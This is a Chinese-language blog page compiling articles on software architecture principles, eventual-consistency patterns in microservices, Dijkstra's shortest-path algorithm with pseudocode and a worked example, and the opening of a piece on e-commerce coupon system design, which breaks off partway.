《架构即未来》这本书的第12章简单阐述了架构设计的一些常用的原则。这些原则中很多都是在架构一开始的设计中就要考虑进去的,这样在出现任何问题时,我们都能够及时的处理,和把问题影响的范围有效的缩小。否则就像我现在的项目,一开始设计时,考虑的很少,出问题时,没有做到及时的反馈,和缩小影响范围,只能在事故的代价中将所需要的原则添加进来,慢慢完善。

1.N+1设计

要确保任何你所开发的系统在发生故障时,至少有一个冗余的实例。


一个实例确实很危险,当这个实例出现不明原因的问题不能对外服务,需要debug的时候,如果优先debug,那当前实例就要暂停服务直到你找到问题为止。如果你直接重启实例恢复服务,就没有事故现场进行debug了。而这时如果有一个冗余的实例,就可以先让冗余的实例对外服务,事故现场的环境也得以保留。

多个实例来做负载均衡也是一种不错的选择。

2.回滚设计

确保系统可以回滚到以前发布过的任何版本。


以前做游戏的时候经常遇到回滚,有时候是数据库回滚,有时候是服务器端回滚,一般都是回滚到上个版本。

3.禁用设计

能够关闭任何发布的功能。


当一个功能出现严重问题不得不关闭时,如果关闭整个系统代价就有点大了,所有要有单个功能的开关。像商城系统的支付功能就一定要有开关,如果出现比较严重的bug,可以关闭支付而不影响下单。

4.监控设计

在设计阶段就必须要考虑监控,而不是在实施完成之后补充。


如果监控做的好,不仅能发现服务的死活,检查日志文件,还能收集系统相关的数据,评估终端用户的响应时间。如果系统和应用在设计和构建时就考虑好监控,那么即使不能自我修复,也至少可以自我诊断。

5.设计多活数据中心

不要被一个数据中心的解决方案把自己限制住。


有钱就多建一个,让股东放心。

6.只用成熟的技术

只用确实好用的技术。


不管用什么技术,都要确保是一个成熟的技术。也许某个新技术有众多优点,比如,降低开发成本,提高开发效率,提高可扩展能力,减少终端用户的响应时间。但是,只要这项技术故障率比较高,就绝不能使用。

7.异步设计

只有在绝对必要的时候才进行同步调用。


异步适合并发。

8.无状态系统

只有当业务确实需要的时候,才使用状态。


无状态的系统更利于扩展,更利于做负载均衡。

9.水平扩展非垂直升级

永远不要依赖更大、更快的系统。


微服务是水平扩展的一个例子,不要把所有的功能都集中在一个系统里面。必要的时候把需求分为多个系统,而不是升级原有的系统。

10.设计至少有两个步骤的前瞻性


在扩展性问题发生前考虑好下一步的行动计划。


想的更远一点,就能减少重构的次数。

11.非核心则购买

如果不是你最擅长的,也提供不了差异化的竞争优势则直接购买。


云服务这种的就购买好了。

12.使用商品化硬件

在大多数情况下,便宜的是最好的。


硬件这块儿,满足需求即可,在必要的时候增加配置。

13.小构建,小发布,快试错

全部研发要小构建,不断迭代,让系统不断地成长。


小版本的失败率较低,因为失败率与解决方案中的变更数量直接相关。

14.隔离故障

实现隔离故障设计,通过断路保护避免故障传播和交叉影响。


避免多系统之间的互相影响,这个很重要。

15.自动化

设计和构建自动化的过程。如果机器可以做,就不要依赖于人。


人常犯错误,更令人沮丧的是,他们往往会以不同的方式多次犯同样的错误。
 
原文阅读:https://www.cnblogs.com/cxiaojia/p/6294493.html 查看全部
《架构即未来》这本书的第12章简单阐述了架构设计的一些常用的原则。这些原则中很多都是在架构一开始的设计中就要考虑进去的,这样在出现任何问题时,我们都能够及时的处理,和把问题影响的范围有效的缩小。否则就像我现在的项目,一开始设计时,考虑的很少,出问题时,没有做到及时的反馈,和缩小影响范围,只能在事故的代价中将所需要的原则添加进来,慢慢完善。

1.N+1设计


要确保任何你所开发的系统在发生故障时,至少有一个冗余的实例。



一个实例确实很危险,当这个实例出现不明原因的问题不能对外服务,需要debug的时候,如果优先debug,那当前实例就要暂停服务直到你找到问题为止。如果你直接重启实例恢复服务,就没有事故现场进行debug了。而这时如果有一个冗余的实例,就可以先让冗余的实例对外服务,事故现场的环境也得以保留。

多个实例来做负载均衡也是一种不错的选择。

2.回滚设计


确保系统可以回滚到以前发布过的任何版本。



以前做游戏的时候经常遇到回滚,有时候是数据库回滚,有时候是服务器端回滚,一般都是回滚到上个版本。

3.禁用设计


能够关闭任何发布的功能。



当一个功能出现严重问题不得不关闭时,如果关闭整个系统代价就有点大了,所有要有单个功能的开关。像商城系统的支付功能就一定要有开关,如果出现比较严重的bug,可以关闭支付而不影响下单。

4.监控设计


在设计阶段就必须要考虑监控,而不是在实施完成之后补充。



如果监控做的好,不仅能发现服务的死活,检查日志文件,还能收集系统相关的数据,评估终端用户的响应时间。如果系统和应用在设计和构建时就考虑好监控,那么即使不能自我修复,也至少可以自我诊断。

5.设计多活数据中心


不要被一个数据中心的解决方案把自己限制住。



有钱就多建一个,让股东放心。

6.只用成熟的技术


只用确实好用的技术。



不管用什么技术,都要确保是一个成熟的技术。也许某个新技术有众多优点,比如,降低开发成本,提高开发效率,提高可扩展能力,减少终端用户的响应时间。但是,只要这项技术故障率比较高,就绝不能使用。

7.异步设计


只有在绝对必要的时候才进行同步调用。



异步适合并发。

8.无状态系统


只有当业务确实需要的时候,才使用状态。



无状态的系统更利于扩展,更利于做负载均衡。

9.水平扩展非垂直升级


永远不要依赖更大、更快的系统。



微服务是水平扩展的一个例子,不要把所有的功能都集中在一个系统里面。必要的时候把需求分为多个系统,而不是升级原有的系统。

10.设计至少有两个步骤的前瞻性



在扩展性问题发生前考虑好下一步的行动计划。



想的更远一点,就能减少重构的次数。

11.非核心则购买


如果不是你最擅长的,也提供不了差异化的竞争优势则直接购买。



云服务这种的就购买好了。

12.使用商品化硬件


在大多数情况下,便宜的是最好的。



硬件这块儿,满足需求即可,在必要的时候增加配置。

13.小构建,小发布,快试错


全部研发要小构建,不断迭代,让系统不断地成长。



小版本的失败率较低,因为失败率与解决方案中的变更数量直接相关。

14.隔离故障


实现隔离故障设计,通过断路保护避免故障传播和交叉影响。



避免多系统之间的互相影响,这个很重要。

15.自动化


设计和构建自动化的过程。如果机器可以做,就不要依赖于人。



人常犯错误,更令人沮丧的是,他们往往会以不同的方式多次犯同样的错误。
 
原文阅读:https://www.cnblogs.com/cxiaojia/p/6294493.html

微服务架构下的数据一致性保证

zkbhj 发表了文章 • 0 个评论 • 1455 次浏览 • 2017-12-23 19:49 • 来自相关话题

本次学习的主要内容包括:

1.传统使用本地事务和分布式事务保证一致性。

2.传统分布式事务不是微服务中一致性的最佳选择。

3.微服务架构中应满足数据最终一致性原则。

4.微服务架构实现最终一致性的三种模式。

5.对账是最后的终极防线。
 
一、传统使用本地事务和分布式事务保证一致性





 
传统单机应用一般都会使用一个关系型数据库,好处是应用可以使用 ACID transactions。为保证一致性我们只需要:开始一个事务,改变(插入,删除,更新)很多行,然后提交事务(如果有异常时回滚事务)。更进一步,借助开发平台中的数据访问技术和框架(如Spring),我们需要做的事情更少,只需要关注数据本身的改变。

随着组织规模不断扩大,业务量不断增长,单机应用和数据库已经不足以支持庞大的业务量和数据量,这个时候需要对应用和数据库进行拆分,就出现了一个应用需要同时访问两个或两个以上的数据库情况。开始我们用分布式事务来保证一致性,也就是我们常说的两阶段提交协议(2PC)。





 
二、传统分布式事务不是微服务中一致性的最佳选择
 
首先,对于微服务架构来说,数据访问变得更加复杂,这是因为数据都是微服务私有的,唯一可访问的方式就是通过API。这种打包数据访问方式使得微服务之间松耦合,并且彼此之间独立非常容易进行性能扩展。

其次,不同的微服务经常使用不同的数据库。应用会产生各种不同类型的数据,关系型数据库并不一定是最佳选择。

例如,某个产生和查询字符串的应用采用Elasticsearch的字符搜索引擎;某个产生社交图片数据的应用可以采用图数据库,例如,Neo4j;

基于微服务的应用一般都使用SQL和NoSQL结合的模式。但是这些非关系型数据大多数并不支持2PC。

可见在微服务架构中已经不能选择分布式事务了。


三、微服务架构中应满足数据最终一致性原则 
依据CAP理论,必须在可用性(availability)和一致性(consistency)之间做出选择。如果选择提供一致性需要付出在满足一致性之前阻塞其他并发访问的代价。这可能持续一个不确定的时间,尤其是在系统已经表现出高延迟时或者网络故障导致失去连接时。

依据目前的成功经验,可用性一般是更好的选择,但是在服务和数据库之间维护数据一致性是非常根本的需求,微服务架构中选择满足最终一致性。
 




当然选择了最终一致性,就要保证到最终的这段时间要在用户可接受的范围之内。

那么我们怎么实现最终一致性呢?

四、微服务架构实现最终一致性的三种模式 
从一致性的本质来看,是要保证在一个业务逻辑中包含的服务要么都成功,要么都失败。那我们怎么选择方向呢?保证成功还是保证失败呢?

我们说业务模式决定了我们的选择。实现最终一致性有三种模式:可靠事件模式、业务补偿模式、TCC模式。


1) 可靠事件模式


可靠事件模式属于事件驱动架构,当某件重要事情发生时,例如更新一个业务实体,微服务会向消息代理发布一个事件。消息代理会向订阅事件的微服务推送事件,当订阅这些事件的微服务接收此事件时,就可以完成自己的业务,也可能会引发更多的事件发布。

1. 如订单服务创建一个待支付的订单,发布一个“创建订单”的事件。





 
2.支付服务消费“创建订单”事件,支付完成后发布一个“支付完成”事件。





 
3.订单服务消费“支付完成”事件,订单状态更新为待出库。





 
从而就实现了完成的业务流程。

这个过程可能导致出现不一致的地方在于:某个微服务在更新了业务实体后发布事件却失败;虽然微服务发布事件成功,但是消息代理未能正确推送事件到订阅的微服务;接受事件的微服务重复消费了事件。

可靠事件模式在于保证可靠事件投递和避免重复消费,可靠事件投递定义为(a)每个服务原子性的业务操作和发布事件(b)消息代理确保事件传递至少一次。

避免重复消费要求服务实现幂等性,如支付服务不能因为重复收到事件而多次支付。


2) 补偿模式

为了描述方便,这里先定义两个概念:

业务异常:业务逻辑产生错误的情况,比如账户余额不足、商品库存不足等。

技术异常:非业务逻辑产生的异常,如网络连接异常、网络超时等。


补偿模式使用一个额外的协调服务来协调各个需要保证一致性的微服务,协调服务按顺序调用各个微服务,如果某个微服务调用异常(包括业务异常和技术异常)就取消之前所有已经调用成功的微服务。

补偿模式建议仅用于不能避免出现业务异常的情况,如果有可能应该优化业务模式,以避免要求补偿事务。如账户余额不足的业务异常可通过预先冻结金额的方式避免,商品库存不足可要求商家准备额外的库存等。

我们通过一个实例来说明补偿模式,一家旅行公司提供预订行程的业务,可以通过公司的网站提前预订飞机票、火车票、酒店等。

假设一位客户规划的行程是,(1)上海-北京6月19日9点的某某航班,(2)某某酒店住宿3晚,(3)北京-上海6月22日17点火车。在客户提交行程后,旅行公司的预订行程业务按顺序串行的调用航班预订服务、酒店预订服务、火车预订服务。最后的火车预订服务成功后整个预订业务才算完成。





 
如果火车票预订服务没有调用成功,那么之前预订的航班、酒店都得取消。取消之前预订的酒店、航班即为补偿过程。





 
需要注意的是酒店的取消预订、航班的取消预订同样不能保证一定成功,所以补偿过程往往也同样需要实现最终一致性,需要保证取消服务至少被调用一次和取消服务必须实现幂等性。

我们应该尽可能通过设计避免采用补偿方式,比如上面的例子中,在预订火车票失败的时候可以提示客户更改其他的时间。


 3) TCC模式(Try-Confirm-Cancel)

一个完整的TCC业务由一个主业务服务和若干个从业务服务组成,主业务服务发起并完成整个业务活动,TCC模式要求从服务提供三个接口:Try、Confirm、Cancel。
 
 





1) Try:完成所有业务检查

预留必须业务资源


2) Confirm:真正执行业务

不作任何业务检查

只使用Try阶段预留的业务资源

Confirm操作满足幂等性


3) Cancel:

释放Try阶段预留的业务资源

Cancel操作满足幂等性

整个TCC业务分成两个阶段完成。

 
第一阶段:主业务服务分别调用所有从业务的try操作,并在活动管理器中登记所有从业务服务。当所有从业务服务的try操作都调用成功或者某个从业务服务的try操作失败,进入第二阶段。

第二阶段:活动管理器根据第一阶段的执行结果来执行confirm或cancel操作。如果第一阶段所有try操作都成功,则活动管理器调用所有从业务活动的confirm操作。否则调用所有从业务服务的cancel操作。

需要注意的是第二阶段confirm或cancel操作本身也是满足最终一致性的过程,在调用confirm或cancel的时候也可能因为某种原因(比如网络)导致调用失败,所以需要活动管理支持重试的能力,同时这也就要求confirm和cancel操作具有幂等性。


五、对账是最后的终极防线

如果有些业务由于瞬时的网络故障或调用超时等问题,通过上文所讲的3种模式一般都能得到很好的解决。但是在当今云计算环境下,很多服务是依赖于外部系统的可用性情况,在一些重要的业务场景下还需要周期性的对账来保证真实的一致性。比如支付系统和银行之间每天日终是都会有对账过程。
 
出处:EAII企业架构创新研究院
原文阅读:https://mp.weixin.qq.com/s%3F_ ... 29e86
  查看全部
本次学习的主要内容包括:

1.传统使用本地事务和分布式事务保证一致性。

2.传统分布式事务不是微服务中一致性的最佳选择。

3.微服务架构中应满足数据最终一致性原则。

4.微服务架构实现最终一致性的三种模式。

5.对账是最后的终极防线。
 
一、传统使用本地事务和分布式事务保证一致性

WX20171223-182332@2x.png

 
传统单机应用一般都会使用一个关系型数据库,好处是应用可以使用 ACID transactions。为保证一致性我们只需要:开始一个事务,改变(插入,删除,更新)很多行,然后提交事务(如果有异常时回滚事务)。更进一步,借助开发平台中的数据访问技术和框架(如Spring),我们需要做的事情更少,只需要关注数据本身的改变。

随着组织规模不断扩大,业务量不断增长,单机应用和数据库已经不足以支持庞大的业务量和数据量,这个时候需要对应用和数据库进行拆分,就出现了一个应用需要同时访问两个或两个以上的数据库情况。开始我们用分布式事务来保证一致性,也就是我们常说的两阶段提交协议(2PC)。

WX20171223-193729@2x.png

 
二、传统分布式事务不是微服务中一致性的最佳选择
 
首先,对于微服务架构来说,数据访问变得更加复杂,这是因为数据都是微服务私有的,唯一可访问的方式就是通过API。这种打包数据访问方式使得微服务之间松耦合,并且彼此之间独立非常容易进行性能扩展。

其次,不同的微服务经常使用不同的数据库。应用会产生各种不同类型的数据,关系型数据库并不一定是最佳选择。

例如,某个产生和查询字符串的应用采用Elasticsearch的字符搜索引擎;某个产生社交图片数据的应用可以采用图数据库,例如,Neo4j;

基于微服务的应用一般都使用SQL和NoSQL结合的模式。但是这些非关系型数据大多数并不支持2PC。

可见在微服务架构中已经不能选择分布式事务了。


三、微服务架构中应满足数据最终一致性原则 
依据CAP理论,必须在可用性(availability)和一致性(consistency)之间做出选择。如果选择提供一致性需要付出在满足一致性之前阻塞其他并发访问的代价。这可能持续一个不确定的时间,尤其是在系统已经表现出高延迟时或者网络故障导致失去连接时。

依据目前的成功经验,可用性一般是更好的选择,但是在服务和数据库之间维护数据一致性是非常根本的需求,微服务架构中选择满足最终一致性。
 
WX20171223-194009@2x.png

当然选择了最终一致性,就要保证到最终的这段时间要在用户可接受的范围之内。

那么我们怎么实现最终一致性呢?

四、微服务架构实现最终一致性的三种模式 
从一致性的本质来看,是要保证在一个业务逻辑中包含的服务要么都成功,要么都失败。那我们怎么选择方向呢?保证成功还是保证失败呢?

我们说业务模式决定了我们的选择。实现最终一致性有三种模式:可靠事件模式、业务补偿模式、TCC模式


1) 可靠事件模式


可靠事件模式属于事件驱动架构,当某件重要事情发生时,例如更新一个业务实体,微服务会向消息代理发布一个事件。消息代理会向订阅事件的微服务推送事件,当订阅这些事件的微服务接收此事件时,就可以完成自己的业务,也可能会引发更多的事件发布。

1. 如订单服务创建一个待支付的订单,发布一个“创建订单”的事件。

WX20171223-194142@2x.png

 
2.支付服务消费“创建订单”事件,支付完成后发布一个“支付完成”事件。

WX20171223-194232@2x.png

 
3.订单服务消费“支付完成”事件,订单状态更新为待出库。

WX20171223-194244@2x.png

 
从而就实现了完成的业务流程。

这个过程可能导致出现不一致的地方在于:某个微服务在更新了业务实体后发布事件却失败;虽然微服务发布事件成功,但是消息代理未能正确推送事件到订阅的微服务;接受事件的微服务重复消费了事件。

可靠事件模式在于保证可靠事件投递和避免重复消费,可靠事件投递定义为(a)每个服务原子性的业务操作和发布事件(b)消息代理确保事件传递至少一次。

避免重复消费要求服务实现幂等性,如支付服务不能因为重复收到事件而多次支付。


2) 补偿模式

为了描述方便,这里先定义两个概念:


业务异常:业务逻辑产生错误的情况,比如账户余额不足、商品库存不足等。

技术异常:非业务逻辑产生的异常,如网络连接异常、网络超时等。



补偿模式使用一个额外的协调服务来协调各个需要保证一致性的微服务,协调服务按顺序调用各个微服务,如果某个微服务调用异常(包括业务异常和技术异常)就取消之前所有已经调用成功的微服务。

补偿模式建议仅用于不能避免出现业务异常的情况,如果有可能应该优化业务模式,以避免要求补偿事务。如账户余额不足的业务异常可通过预先冻结金额的方式避免,商品库存不足可要求商家准备额外的库存等。

我们通过一个实例来说明补偿模式,一家旅行公司提供预订行程的业务,可以通过公司的网站提前预订飞机票、火车票、酒店等。

假设一位客户规划的行程是,(1)上海-北京6月19日9点的某某航班,(2)某某酒店住宿3晚,(3)北京-上海6月22日17点火车。在客户提交行程后,旅行公司的预订行程业务按顺序串行的调用航班预订服务、酒店预订服务、火车预订服务。最后的火车预订服务成功后整个预订业务才算完成。

WX20171223-194440@2x.png

 
如果火车票预订服务没有调用成功,那么之前预订的航班、酒店都得取消。取消之前预订的酒店、航班即为补偿过程。

WX20171223-194454@2x.png

 
需要注意的是酒店的取消预订、航班的取消预订同样不能保证一定成功,所以补偿过程往往也同样需要实现最终一致性,需要保证取消服务至少被调用一次和取消服务必须实现幂等性。

我们应该尽可能通过设计避免采用补偿方式,比如上面的例子中,在预订火车票失败的时候可以提示客户更改其他的时间。


 3) TCC模式(Try-Confirm-Cancel)

一个完整的TCC业务由一个主业务服务和若干个从业务服务组成,主业务服务发起并完成整个业务活动,TCC模式要求从服务提供三个接口:Try、Confirm、Cancel。
 
 
WX20171223-194636@2x.png


1) Try:完成所有业务检查

预留必须业务资源


2) Confirm:真正执行业务

不作任何业务检查

只使用Try阶段预留的业务资源

Confirm操作满足幂等性


3) Cancel:

释放Try阶段预留的业务资源

Cancel操作满足幂等性

整个TCC业务分成两个阶段完成。


 
第一阶段:主业务服务分别调用所有从业务的try操作,并在活动管理器中登记所有从业务服务。当所有从业务服务的try操作都调用成功或者某个从业务服务的try操作失败,进入第二阶段。

第二阶段:活动管理器根据第一阶段的执行结果来执行confirm或cancel操作。如果第一阶段所有try操作都成功,则活动管理器调用所有从业务活动的confirm操作。否则调用所有从业务服务的cancel操作。

需要注意的是第二阶段confirm或cancel操作本身也是满足最终一致性的过程,在调用confirm或cancel的时候也可能因为某种原因(比如网络)导致调用失败,所以需要活动管理支持重试的能力,同时这也就要求confirm和cancel操作具有幂等性。


五、对账是最后的终极防线

如果有些业务由于瞬时的网络故障或调用超时等问题,通过上文所讲的3种模式一般都能得到很好的解决。但是在当今云计算环境下,很多服务是依赖于外部系统的可用性情况,在一些重要的业务场景下还需要周期性的对账来保证真实的一致性。比如支付系统和银行之间每天日终是都会有对账过程。
 
出处:EAII企业架构创新研究院
原文阅读:https://mp.weixin.qq.com/s%3F_ ... 29e86
 

Dijkstra算法(即单源最短路径)解析

zkbhj 发表了文章 • 0 个评论 • 1669 次浏览 • 2017-12-04 15:58 • 来自相关话题

 单源最短路径问题,即在图中求出给定顶点到其它任一顶点的最短路径。在弄清楚如何求算单源最短路径问题之前,必须弄清楚最短路径的最优子结构性质。

一.最短路径的最优子结构性质

   该性质描述为:如果P(i,j)={Vi....Vk..Vs...Vj}是从顶点i到j的最短路径,k和s是这条路径上的一个中间顶点,那么P(k,s)必定是从k到s的最短路径。下面证明该性质的正确性。

   假设P(i,j)={Vi....Vk..Vs...Vj}是从顶点i到j的最短路径,则有P(i,j)=P(i,k)+P(k,s)+P(s,j)。而P(k,s)不是从k到s的最短距离,那么必定存在另一条从k到s的最短路径P'(k,s),那么P'(i,j)=P(i,k)+P'(k,s)+P(s,j)<P(i,j)。则与P(i,j)是从i到j的最短路径相矛盾。因此该性质得证。

二.Dijkstra算法

   由上述性质可知,如果存在一条从i到j的最短路径(Vi.....Vk,Vj),Vk是Vj前面的一顶点。那么(Vi...Vk)也必定是从i到k的最短路径。为了求出最短路径,Dijkstra就提出了以最短路径长度递增,逐次生成最短路径的算法。譬如对于源顶点V0,首先选择其直接相邻的顶点中长度最短的顶点Vi,那么当前已知可得从V0到达Vj顶点的最短距离dist[j]=min{dist[j],dist+matrix[i][j]}。根据这种思路,

假设存在G=<V,E>,源顶点为V0,U={V0},dist[i]记录V0到i的最短距离,path[i]记录从V0到i路径上的i前面的一个顶点。

1.从V-U中选择使dist[i]值最小的顶点i,将i加入到U中;

2.更新与i直接相邻顶点的dist值。(dist[j]=min{dist[j],dist[i]+matrix[i][j]})

3.知道U=V,停止。[/i][/i][/i][/i][/i][/i]

伪代码实现如下:function Dijkstra(Graph, source):

dist[source] ← 0 // Distance from source to source
prev[source] ← undefined // Previous node in optimal path initialization

for each vertex v in Graph: // Initialization
if v ≠ source // Where v has not yet been removed from Q (unvisited nodes)
dist[v] ← infinity // Unknown distance function from source to v
prev[v] ← undefined // Previous node in optimal path from source
end if
add v to Q // All nodes initially in Q (unvisited nodes)
end for

while Q is not empty:
u ← vertex in Q with min dist[u] // Source node in first case
remove u from Q

for each neighbor v of u: // where v has not yet been removed from Q.
alt ← dist[u] + length(u, v)
if alt < dist[v]: // A shorter path to v has been found
dist[v] ← alt
prev[v] ← u
end if
end for
end while

return dist, prev

end function[/u][/u][u]例如,下面是一个包含 9 个顶点的图,每条边分别标识了距离。
 
源顶点 source = 0,初始时,[/u][u][u]sptSet = {false, false, false, false, false, false, false, false, false};
distSet = {0, INF, INF, INF, INF, INF, INF, INF, INF};[/u][/u]
[u]将 0 包含至 sptSet 中;[/u][u][u]sptSet = {true, false, false, false, false, false, false, false, false};[/u][/u]
[u]更新 0 至其邻接节点的距离;[/u][u][u]distSet = {0, 4, INF, INF, INF, INF, INF, 8, INF};[/u][/u]
[u]



 
选择不在 sptSet 中的 Min Distance 的顶点,为顶点 1,则将 1 包含至 sptSet;[/u][u][u]sptSet = {true, true, false, false, false, false, false, false, false};[/u][/u]
[u]更新 1 至其邻接节点的距离;[/u][u][u]distSet = {0, 4, 12, INF, INF, INF, INF, 8, INF};[/u][/u]
[u]



 
选择不在 sptSet 中的 Min Distance 的顶点,为顶点 7,则将 7 包含至 sptSet;[/u][u][u]sptSet = {true, true, false, false, false, false, false, true, false};[/u][/u]
[u]更新 7 至其邻接节点的距离;[/u][u][u]distSet = {0, 4, 12, INF, INF, INF, 9, 8, 15};[/u][/u]
[u]



 
选择不在 sptSet 中的 Min Distance 的顶点,为顶点 6,则将 6 包含至 sptSet;[/u][u][u]sptSet = {true, true, false, false, false, false, true, true, false};[/u][/u]
[u]更新 6 至其邻接节点的距离;[/u][u][u]distSet = {0, 4, 12, INF, INF, 11, 9, 8, 15};[/u][/u]
[u]



 
以此类推,直到遍历结束。[/u][u][u]sptSet = {true, true, true, true, true, true, true, true, true};
distSet = {0, 4, 12, 19, 21, 11, 9, 8, 14};[/u][/u]
[u]



 
最终结果为源顶点 0 至所有顶点的距离:[/u][u][u]Vertex Distance from Source
0 0
1 4
2 12
3 19
4 21
5 11
6 9
7 8
8 14[/u][/u][u]参考文档:https://www.cnblogs.com/gaochu ... .html[/u] 查看全部
 单源最短路径问题,即在图中求出给定顶点到其它任一顶点的最短路径。在弄清楚如何求算单源最短路径问题之前,必须弄清楚最短路径的最优子结构性质。

一.最短路径的最优子结构性质

   该性质描述为:如果P(i,j)={Vi....Vk..Vs...Vj}是从顶点i到j的最短路径,k和s是这条路径上的一个中间顶点,那么P(k,s)必定是从k到s的最短路径。下面证明该性质的正确性。

   假设P(i,j)={Vi....Vk..Vs...Vj}是从顶点i到j的最短路径,则有P(i,j)=P(i,k)+P(k,s)+P(s,j)。而P(k,s)不是从k到s的最短距离,那么必定存在另一条从k到s的最短路径P'(k,s),那么P'(i,j)=P(i,k)+P'(k,s)+P(s,j)<P(i,j)。则与P(i,j)是从i到j的最短路径相矛盾。因此该性质得证。

二.Dijkstra算法

   由上述性质可知,如果存在一条从i到j的最短路径(Vi.....Vk,Vj),Vk是Vj前面的一顶点。那么(Vi...Vk)也必定是从i到k的最短路径。为了求出最短路径,Dijkstra就提出了以最短路径长度递增,逐次生成最短路径的算法。譬如对于源顶点V0,首先选择其直接相邻的顶点中长度最短的顶点Vi,那么当前已知可得从V0到达Vj顶点的最短距离dist[j]=min{dist[j],dist+matrix[i][j]}。根据这种思路,

假设存在G=<V,E>,源顶点为V0,U={V0},dist[i]记录V0到i的最短距离,path[i]记录从V0到i路径上的i前面的一个顶点。

1.从V-U中选择使dist[i]值最小的顶点i,将i加入到U中;

2.更新与i直接相邻顶点的dist值。(dist[j]=min{dist[j],dist[i]+matrix[i][j]})

3.知道U=V,停止。
[/i][/i][/i][/i][/i][/i]

伪代码实现如下:
function Dijkstra(Graph, source):

dist[source] ← 0 // Distance from source to source
prev[source] ← undefined // Previous node in optimal path initialization

for each vertex v in Graph: // Initialization
if v ≠ source // Where v has not yet been removed from Q (unvisited nodes)
dist[v] ← infinity // Unknown distance function from source to v
prev[v] ← undefined // Previous node in optimal path from source
end if
add v to Q // All nodes initially in Q (unvisited nodes)
end for

while Q is not empty:
u ← vertex in Q with min dist[u] // Source node in first case
remove u from Q

for each neighbor v of u: // where v has not yet been removed from Q.
alt ← dist[u] + length(u, v)
if alt < dist[v]: // A shorter path to v has been found
dist[v] ← alt
prev[v] ← u
end if
end for
end while

return dist, prev

end function[/u][/u]
[u]例如,下面是一个包含 9 个顶点的图,每条边分别标识了距离。
 
源顶点 source = 0,初始时,
[/u]
[u][u]sptSet = {false, false, false, false, false, false, false, false, false};
distSet = {0, INF, INF, INF, INF, INF, INF, INF, INF};[/u][/u]

[u]将 0 包含至 sptSet 中;[/u]
[u][u]sptSet = {true, false, false, false, false, false, false, false, false};[/u][/u]

[u]更新 0 至其邻接节点的距离;[/u]
[u][u]distSet = {0, 4, INF, INF, INF, INF, INF, 8, INF};[/u][/u]

[u]
281631318781591.jpg

 
选择不在 sptSet 中的 Min Distance 的顶点,为顶点 1,则将 1 包含至 sptSet;
[/u]
[u][u]sptSet = {true, true, false, false, false, false, false, false, false};[/u][/u]

[u]更新 1 至其邻接节点的距离;[/u]
[u][u]distSet = {0, 4, 12, INF, INF, INF, INF, 8, INF};[/u][/u]

[u]
281635078621307.jpg

 
选择不在 sptSet 中的 Min Distance 的顶点,为顶点 7,则将 7 包含至 sptSet;
[/u]
[u][u]sptSet = {true, true, false, false, false, false, false, true, false};[/u][/u]

[u]更新 7 至其邻接节点的距离;[/u]
[u][u]distSet = {0, 4, 12, INF, INF, INF, 9, 8, 15};[/u][/u]

[u]
281637061284639.jpg

 
选择不在 sptSet 中的 Min Distance 的顶点,为顶点 6,则将 6 包含至 sptSet;
[/u]
[u][u]sptSet = {true, true, false, false, false, false, true, true, false};[/u][/u]

[u]更新 6 至其邻接节点的距离;[/u]
[u][u]distSet = {0, 4, 12, INF, INF, 11, 9, 8, 15};[/u][/u]

[u]
281638430509082.jpg

 
以此类推,直到遍历结束。
[/u]
[u][u]sptSet = {true, true, true, true, true, true, true, true, true};
distSet = {0, 4, 12, 19, 21, 11, 9, 8, 14};[/u][/u]

[u]
281640391919096.jpg

 
最终结果为源顶点 0 至所有顶点的距离:
[/u]
[u][u]Vertex   Distance from Source
0 0
1 4
2 12
3 19
4 21
5 11
6 9
7 8
8 14[/u][/u]
[u]参考文档:https://www.cnblogs.com/gaochu ... .html[/u]

一般B2C电商的卡券系统设计

zkbhj 发表了文章 • 0 个评论 • 1566 次浏览 • 2017-11-23 17:13 • 来自相关话题

大家对优惠券应该都比较熟悉,有过网购经验的人应该都用过,优惠券也是商家促销一种常用的手段,今天来跟大家介绍下B2C平台优惠券一般都是如何设计的。

优惠券其实本质是一种代金券,用户可以通过各种渠道获得(下单返券、活动领券,系统赠券,线下广告单等),在下单的时候使用,可以抵扣全部或者部分订单金额。

分类方式

现实中我们在各大平台上遇到各种各样的优惠券,这里稍作总结,可以按照如下方式分为3大类。

1.使用方式

个人优惠券:与用户帐号绑定,不可转让,限本人使用,使用时从账户列表中选择,我们绝大多数使用的优惠券都是这种形式。
公共优惠券:不与用户帐号绑定,有代码即可使用,使用时需要输入代码。这种一般在线下推广中用的比较多,广告传单上印号优惠券码让用户输入券码到线上使用。

2.商品适用范围

按照商品范围分又可以分为如下几类,从各种维度对商品进行组合。

整网优惠券:购买所有正价商品均可使用。这种券不限制商品范围,所有商品都可以购买,除了个别商品,这种个别商品一般会在商详上注明不能使用任何优惠券。
类目优惠券:购买优惠券指定类别的商品即可使用,除个别特殊商品。
品牌优惠券:购买优惠券指定品牌的商品时可使用,除个别特殊商品。按照品牌或者品类设置优惠券范围是比较常见的方式。
商品优惠券:购买优惠券指定商品时可使用,这种优惠券一般只针对少量特殊商品可以使用。
客户端专享券:app专享、H5专享等。这种一般在做APP推广的时候比较常用。
平台专享券:自营券、联营券。对于类似京东这种电商平台既有自营商品又有联营POP商品也会存在按照平台区分使用的优惠券。

3.是否有使用门槛

现金券:不限制订单金额,可以直接使用。
满减券:订单金额需要满足一定的最低额度才可使用,例如:满100减10元优惠券。

发放渠道

对于这些优惠券又有很多种发放渠道,总结来说大概有以下几类。

1.用户主动领取

用户通过活动页主动领取,这是最常用的券的获取方式。一般是在活动页面或者是商详页上。下图为京东的领券中心,将所有的券聚合在一起方便用户挑选有需要的券。





 
2.客服发券

为安抚、补偿客户,客服通过运营后台给指定用户发券。这个渠道知道的人应该不是很多,一般出现售后问题时并且是平台商自己的责任,客服为了安抚客户会给客户一定的补偿,这种补偿一般都是现金券。

3.系统发券

运营通过后台批量发券,通常是通过搞外部活动,收集到参与活动的uid或手机号进行定向发券。不知道大家有没有这种体验,一般在大促之前,我们之前注册过的各种电商平台都会给我们推送N多短信,提醒我们说“给您的账号里面发送了XX元优惠券,请在XX日期前登陆XX网站尽快使用”。

4.促销系统发券







单品赠券

这是一种促销方式,购买某个商品赠送指定优惠券。
 满返券

这也是一种比较常见的促销手段,提升复购率的一种比较有效的方式,通常是在购买特定范围的商品达到一定的金额后即自动返给用户特定的优惠券,这种券一般都是满减券。

优惠券生命周期

上面介绍了优惠券的几种常见类型和发放渠道,下面来介绍下优惠券的生命周期,基本上就是经过了创建、投放、领取、消耗/回收、统计分析。我们按照这个生命周期看下每个环节如何设计的。
 





 
创建券流程

制券的流程涉及到优惠券具体有哪些属性,正常制券至少应该包括如下几个信息: 
